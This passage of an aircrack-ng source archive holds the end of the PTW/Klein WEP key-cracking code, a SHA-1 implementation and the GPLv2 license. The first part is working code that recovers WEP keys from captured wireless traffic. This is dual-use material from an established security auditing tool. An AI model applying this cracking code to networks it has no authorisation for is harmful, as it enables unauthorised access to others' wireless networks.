(1.0-orgtable[i][j].votes/emax); } else { help = (1.0-orgtable[i][j].votes/e2); } help = help*help; ausreiser[i] += help; help = (1.0-orgtable[i][j].votes/e); help = help*help; normal[i] += help; } } } /* * Guess a single keybyte */ static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes, int * bf, int validchars[][n]) { int i; uint8_t tmp; if(!opt.is_quiet && keybyte < 4) show_wep_stats( keylen -1, 0, keytable, searchborders, depth, tried ); if (keybyte > 0) { if (!validchars[keybyte-1][key[keybyte-1]]) { return 0; } } if (keybyte == keylen) { return correct(state, key, keylen); } else if (bf[keybyte] == 1) { for (i = 0; i < n; i++) { key[keybyte] = i; if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sum+i%n, strongbytes, bf, validchars)) { return 1; } } return 0; } else if (keybyte == fixat) { key[keybyte] = fixvalue-sum; return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes, bf, validchars); } else if (strongbytes[keybyte] == 1) { // printf("assuming byte %d to be strong\n", keybyte); tmp = 3 + keybyte; for (i = keybyte-1; i >= 1; i--) { tmp += 3 + key[i] + i; key[keybyte] = n-tmp; if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (n-tmp+sum)%n, strongbytes, bf, validchars) == 1) { printf("hit with strongbyte for keybyte %d\n", keybyte); return 1; } } return 0; } else { for (i = 0; i < searchborders[keybyte]; i++) { key[keybyte] = sortedtable[keybyte][i].b - sum; if(!opt.is_quiet) { depth[keybyte] = i; keytable[keybyte][i].b = key[keybyte]; } if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes, bf, validchars)) { return 1; } } return 0; } } /* * Do the actual computation of the key */ static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit, int * bf, int validchars[][n]) { int i,j; int choices[KEYHSBYTES]; int prod; int fixat; int fixvalue; if(!opt.is_quiet) memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen); for (i = 0; i < keylen; i++) { if (strongbytes[i] == 1) { choices[i] = i; } else { choices[i] = 1; } } i = 0; prod = 0; fixat = -1; fixvalue = 0; max_tries = keylimit; while(prod < keylimit) { if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes, bf, validchars) == 1) { // printf("hit with %d choices\n", prod); if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 1; } while( (i < keylen * (n-1)) && ((strongbytes[sh2[i].keybyte] == 1) || (bf[sh2[i].keybyte] == 1) ) ) { i++; } if(i >= (keylen * (n-1))) { break; } choices[sh2[i].keybyte]++; fixat = sh2[i].keybyte; // printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]); fixvalue = sh2[i].value; prod = 1; for (j = 0; j < keylen; j++) { prod *= choices[j]; if (bf[j] == 1) { prod *= n; } } /* do { i++; } while (strongbytes[sh2[i].keybyte] == 1); */ i++; if(!opt.is_quiet) show_wep_stats( keylen -1, 0, keytable, choices, depth, tried ); } if(!opt.is_quiet) show_wep_stats( keylen -1, 1, keytable, choices, depth, tried ); return 0; } /* * Guess which key bytes could be strong and start actual computation of the key */ int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit, int * bf, int validchars[][n], int attacks) { int strongbytes[KEYHSBYTES]; double normal[KEYHSBYTES]; double ausreisser[KEYHSBYTES]; doublesorthelper helper[KEYHSBYTES]; int simple, onestrong, twostrong; int i,j; #if defined(__amd64) && defined(__SSE2__) /* * The 64-bit SSE2-optimized rc4test() requires this buffer to be * aligned at 3 bytes. */ uint8_t fullkeybuf_unaligned[PTW_KSBYTES+13]; uint8_t *fullkeybuf = &fullkeybuf_unaligned[13]; #else uint8_t fullkeybuf[PTW_KSBYTES]; #endif uint8_t guessbuf[PTW_KSBYTES]; sorthelper(*sh)[n-1]; PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen); #if defined(__amd64) && defined(__SSE2__) /* * sse2-optimized rc4test() function for amd64 only works * for keylen == 5 or keylen == 13 */ if (keylen == 5 || keylen == 13) state->rc4test = rc4test_amd64_sse2; else #endif state->rc4test = rc4test; tried=0; sh = NULL; if (table == NULL) { printf("could not allocate memory\n"); exit(-1); } if(!(attacks & NO_KLEIN)) { // Try the original klein attack first for (i = 0; i < keylen; i++) { memset(&table[i][0], 0, sizeof(PTW_tableentry) * n); for (j = 0; j < n; j++) { table[i][j].b = j; } for (j = 0; j < state->packets_collected; j++) { // fullkeybuf[0] = state->allsessions[j].iv[0]; memcpy(fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t)); guesskeybytes(i+3, fullkeybuf, state->allsessions[j].keystream, guessbuf, 1); table[i][guessbuf[0]].votes += state->allsessions[j].weight; } qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); j = 0; while(!validchars[i][table[i][j].b]) { j++; } // printf("guessing i = %d, b = %d\n", i, table[0][0].b); fullkeybuf[i+3] = table[i][j].b; } if (correct(state, &fullkeybuf[3], keylen)) { memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t)); // printf("hit without correction\n"); return 1; } } if(!(attacks & NO_PTW)) { memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen); onestrong = (testlimit/10)*2; twostrong = (testlimit/10)*1; simple = testlimit - onestrong - twostrong; // now, sort the table for (i = 0; i < keylen; i++) { qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); strongbytes[i] = 0; } sh = alloca(sizeof(sorthelper) * (n-1) * keylen); if (sh == NULL) { printf("could not allocate memory\n"); exit(-1); } for (i = 0; i < keylen; i++) { for (j = 1; j < n; j++) { sh[i][j-1].distance = table[i][0].votes - table[i][j].votes; sh[i][j-1].value = table[i][j].b; sh[i][j-1].keybyte = i; } } qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper); if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple, bf, validchars)) { return 1; } // Now one strong byte getdrv(state->table, keylen, normal, ausreisser); for (i = 0; i < keylen-1; i++) { helper[i].keybyte = i+1; helper[i].difference = normal[i+1] - ausreisser[i+1]; } qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper); // do not use bf-bytes as strongbytes i = 0; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong, bf, validchars)) { return 1; } // two strong bytes i++; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong, bf, validchars)) { return 1; } } return 0; } /* * Add a new session to the attack * state - state of attack * iv - IV used in the session * keystream - recovered keystream from the session */ int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream, int * weight, int total) { int i,j; int il; int ir; uint8_t buf[PTW_KEYHSBYTES]; i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); il = i/8; ir = 1 << (i%8); if ((state->seen_iv[il] & ir) == 0) { state->seen_iv[il] |= ir; for (j = 0; j < total; j++) { state->packets_collected++; guesskeybytes(IVBYTES, iv, &keystream[KSBYTES*j], buf, PTW_KEYHSBYTES); for (i = 0; i < KEYHSBYTES; i++) { state->table[i][buf[i]].votes += weight[j]; } if (state->allsessions_size < state->packets_collected) { state->allsessions_size = state->allsessions_size << 1; state->allsessions = realloc(state->allsessions, state->allsessions_size * sizeof(PTW_session)); if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } } memcpy(state->allsessions[state->packets_collected-1].iv, iv, IVBYTES); memcpy(state->allsessions[state->packets_collected-1].keystream, &keystream[KSBYTES*j], KSBYTES); state->allsessions[state->packets_collected-1].weight = weight[j]; } if ((state->sessions_collected < CONTROLSESSIONS)) { memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); state->sessions_collected++; } return 1; } else { return 0; } } /* * Allocate a new attackstate */ PTW_attackstate * PTW_newattackstate() { int i,k; PTW_attackstate * state = NULL; state = malloc(sizeof(PTW_attackstate)); if (state == NULL) { return NULL; } memset(state, 0, sizeof(PTW_attackstate)); for (i = 0; i < PTW_KEYHSBYTES; i++) { for (k = 0; k < n; k++) { state->table[i][k].b = k; } } state->allsessions = malloc(4096 * sizeof(PTW_session)); state->allsessions_size = 4096; if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } return state; } /* * Free an allocated attackstate */ void PTW_freeattackstate(PTW_attackstate * state) { free(state->allsessions); free(state); return; } aircrack-ng-1.2-beta3/src/sha1-git.c0000644000000000000000000002317212004011237015572 0ustar rootroot#ifndef _SHA1_GIT /* * sha1-git.c * * This code is based on the GIT SHA1 Implementation. * * Copyright (C) 2009 Linus Torvalds * Copyright (C) 2009 Nicolas Pitre * Copyright (C) 2009 Junio C Hamano * Copyright (C) 2009 Brandon Casey * Copyright (C) 2010 Ramsay Jones * Copyright (C) 2012 Carlos Alberto Lopez Perez * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ /* * SHA1 routine optimized to do word accesses rather than byte accesses, * and to avoid unnecessary copies into the context array. * * This was initially based on the Mozilla SHA1 implementation, although * none of the original Mozilla code remains. */ /* this is only to get definitions for memcpy(), ntohl() and htonl() */ //#include "../git-compat-util.h" #include #include #include "sha1-git.h" #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) /* * Force usage of rol or ror by selecting the one with the smaller constant. * It _can_ generate slightly smaller code (a constant of 1 is special), but * perhaps more importantly it's possibly faster on any uarch that does a * rotate with a loop. */ #define SHA_ASM(op, x, n) ({ unsigned int __res; __asm__(op " %1,%0":"=r" (__res):"i" (n), "0" (x)); __res; }) #define SHA_ROL(x,n) SHA_ASM("rol", x, n) #define SHA_ROR(x,n) SHA_ASM("ror", x, n) #else #define SHA_ROT(X,l,r) (((X) << (l)) | ((X) >> (r))) #define SHA_ROL(X,n) SHA_ROT(X,n,32-(n)) #define SHA_ROR(X,n) SHA_ROT(X,32-(n),n) #endif /* * If you have 32 registers or more, the compiler can (and should) * try to change the array[] accesses into registers. However, on * machines with less than ~25 registers, that won't really work, * and at least gcc will make an unholy mess of it. * * So to avoid that mess which just slows things down, we force * the stores to memory to actually happen (we might be better off * with a 'W(t)=(val);asm("":"+m" (W(t))' there instead, as * suggested by Artur Skawina - that will also make gcc unable to * try to do the silly "optimize away loads" part because it won't * see what the value will be). * * Ben Herrenschmidt reports that on PPC, the C version comes close * to the optimized asm with this (ie on PPC you don't want that * 'volatile', since there are lots of registers). * * On ARM we get the best code generation by forcing a full memory barrier * between each SHA_ROUND, otherwise gcc happily get wild with spilling and * the stack frame size simply explode and performance goes down the drain. */ #if defined(__i386__) || defined(__x86_64__) #define setW(x, val) (*(volatile unsigned int *)&W(x) = (val)) #elif defined(__GNUC__) && defined(__arm__) #define setW(x, val) do { W(x) = (val); __asm__("":::"memory"); } while (0) #else #define setW(x, val) (W(x) = (val)) #endif /* * Performance might be improved if the CPU architecture is OK with * unaligned 32-bit loads and a fast ntohl() is available. * Otherwise fall back to byte loads and shifts which is portable, * and is faster on architectures with memory alignment issues. */ #if defined(__i386__) || defined(__x86_64__) || \ defined(_M_IX86) || defined(_M_X64) || \ defined(__ppc__) || defined(__ppc64__) || \ defined(__powerpc__) || defined(__powerpc64__) || \ defined(__s390__) || defined(__s390x__) #define get_be32(p) ntohl(*(unsigned int *)(p)) #define put_be32(p, v) do { *(unsigned int *)(p) = htonl(v); } while (0) #else #define get_be32(p) ( \ (*((unsigned char *)(p) + 0) << 24) | \ (*((unsigned char *)(p) + 1) << 16) | \ (*((unsigned char *)(p) + 2) << 8) | \ (*((unsigned char *)(p) + 3) << 0) ) #define put_be32(p, v) do { \ unsigned int __v = (v); \ *((unsigned char *)(p) + 0) = __v >> 24; \ *((unsigned char *)(p) + 1) = __v >> 16; \ *((unsigned char *)(p) + 2) = __v >> 8; \ *((unsigned char *)(p) + 3) = __v >> 0; } while (0) #endif /* This "rolls" over the 512-bit array */ #define W(x) (array[(x)&15]) /* * Where do we get the source from? The first 16 iterations get it from * the input data, the next mix it from the 512-bit array. */ #define SHA_SRC(t) get_be32(data + t) #define SHA_MIX(t) SHA_ROL(W(t+13) ^ W(t+8) ^ W(t+2) ^ W(t), 1) #define SHA_ROUND(t, input, fn, constant, A, B, C, D, E) do { \ unsigned int TEMP = input(t); setW(t, TEMP); \ E += TEMP + SHA_ROL(A,5) + (fn) + (constant); \ B = SHA_ROR(B, 2); } while (0) #define T_0_15(t, A, B, C, D, E) SHA_ROUND(t, SHA_SRC, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E ) #define T_16_19(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E ) #define T_20_39(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) , 0x6ed9eba1, A, B, C, D, E ) #define T_40_59(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, ((B&C)+(D&(B^C))) , 0x8f1bbcdc, A, B, C, D, E ) #define T_60_79(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) , 0xca62c1d6, A, B, C, D, E ) static void blk_SHA1_Block(blk_SHA_CTX *ctx, const unsigned int *data) { unsigned int A,B,C,D,E; unsigned int array[16]; A = ctx->H[0]; B = ctx->H[1]; C = ctx->H[2]; D = ctx->H[3]; E = ctx->H[4]; /* Round 1 - iterations 0-16 take their input from 'data' */ T_0_15( 0, A, B, C, D, E); T_0_15( 1, E, A, B, C, D); T_0_15( 2, D, E, A, B, C); T_0_15( 3, C, D, E, A, B); T_0_15( 4, B, C, D, E, A); T_0_15( 5, A, B, C, D, E); T_0_15( 6, E, A, B, C, D); T_0_15( 7, D, E, A, B, C); T_0_15( 8, C, D, E, A, B); T_0_15( 9, B, C, D, E, A); T_0_15(10, A, B, C, D, E); T_0_15(11, E, A, B, C, D); T_0_15(12, D, E, A, B, C); T_0_15(13, C, D, E, A, B); T_0_15(14, B, C, D, E, A); T_0_15(15, A, B, C, D, E); /* Round 1 - tail. Input from 512-bit mixing array */ T_16_19(16, E, A, B, C, D); T_16_19(17, D, E, A, B, C); T_16_19(18, C, D, E, A, B); T_16_19(19, B, C, D, E, A); /* Round 2 */ T_20_39(20, A, B, C, D, E); T_20_39(21, E, A, B, C, D); T_20_39(22, D, E, A, B, C); T_20_39(23, C, D, E, A, B); T_20_39(24, B, C, D, E, A); T_20_39(25, A, B, C, D, E); T_20_39(26, E, A, B, C, D); T_20_39(27, D, E, A, B, C); T_20_39(28, C, D, E, A, B); T_20_39(29, B, C, D, E, A); T_20_39(30, A, B, C, D, E); T_20_39(31, E, A, B, C, D); T_20_39(32, D, E, A, B, C); T_20_39(33, C, D, E, A, B); T_20_39(34, B, C, D, E, A); T_20_39(35, A, B, C, D, E); T_20_39(36, E, A, B, C, D); T_20_39(37, D, E, A, B, C); T_20_39(38, C, D, E, A, B); T_20_39(39, B, C, D, E, A); /* Round 3 */ T_40_59(40, A, B, C, D, E); T_40_59(41, E, A, B, C, D); T_40_59(42, D, E, A, B, C); T_40_59(43, C, D, E, A, B); T_40_59(44, B, C, D, E, A); T_40_59(45, A, B, C, D, E); T_40_59(46, E, A, B, C, D); T_40_59(47, D, E, A, B, C); T_40_59(48, C, D, E, A, B); T_40_59(49, B, C, D, E, A); T_40_59(50, A, B, C, D, E); T_40_59(51, E, A, B, C, D); T_40_59(52, D, E, A, B, C); T_40_59(53, C, D, E, A, B); T_40_59(54, B, C, D, E, A); T_40_59(55, A, B, C, D, E); T_40_59(56, E, A, B, C, D); T_40_59(57, D, E, A, B, C); T_40_59(58, C, D, E, A, B); T_40_59(59, B, C, D, E, A); /* Round 4 */ T_60_79(60, A, B, C, D, E); T_60_79(61, E, A, B, C, D); T_60_79(62, D, E, A, B, C); T_60_79(63, C, D, E, A, B); T_60_79(64, B, C, D, E, A); T_60_79(65, A, B, C, D, E); T_60_79(66, E, A, B, C, D); T_60_79(67, D, E, A, B, C); T_60_79(68, C, D, E, A, B); T_60_79(69, B, C, D, E, A); T_60_79(70, A, B, C, D, E); T_60_79(71, E, A, B, C, D); T_60_79(72, D, E, A, B, C); T_60_79(73, C, D, E, A, B); T_60_79(74, B, C, D, E, A); T_60_79(75, A, B, C, D, E); T_60_79(76, E, A, B, C, D); T_60_79(77, D, E, A, B, C); T_60_79(78, C, D, E, A, B); T_60_79(79, B, C, D, E, A); ctx->H[0] += A; ctx->H[1] += B; ctx->H[2] += C; ctx->H[3] += D; ctx->H[4] += E; } void blk_SHA1_Init(blk_SHA_CTX *ctx) { ctx->size = 0; /* Initialize H with the magic constants (see FIPS180 for constants) */ ctx->H[0] = 0x67452301; ctx->H[1] = 0xefcdab89; ctx->H[2] = 0x98badcfe; ctx->H[3] = 0x10325476; ctx->H[4] = 0xc3d2e1f0; } void blk_SHA1_Update(blk_SHA_CTX *ctx, const void *data, unsigned long len) { unsigned int lenW = ctx->size & 63; ctx->size += len; /* Read the data into W and process blocks as they get full */ if (lenW) { unsigned int left = 64 - lenW; if (len < left) left = len; memcpy(lenW + (char *)ctx->W, data, left); lenW = (lenW + left) & 63; len -= left; data = ((const char *)data + left); if (lenW) return; blk_SHA1_Block(ctx, ctx->W); } while (len >= 64) { blk_SHA1_Block(ctx, data); data = ((const char *)data + 64); len -= 64; } if (len) memcpy(ctx->W, data, len); } void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX *ctx) { static const unsigned char pad[64] = { 0x80 }; unsigned int padlen[2]; int i; /* Pad with a binary 1 (ie 0x80), then zeroes, then length */ padlen[0] = htonl((uint32_t)(ctx->size >> 29)); padlen[1] = htonl((uint32_t)(ctx->size << 3)); i = ctx->size & 63; blk_SHA1_Update(ctx, pad, 1+ (63 & (55 - i))); blk_SHA1_Update(ctx, padlen, 8); /* Output hash */ for (i = 0; i < 5; i++) put_be32(hashout + i*4, ctx->H[i]); } #define _SHA1_GIT #endif aircrack-ng-1.2-beta3/LICENSE0000644000000000000000000004313310761053203014235 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.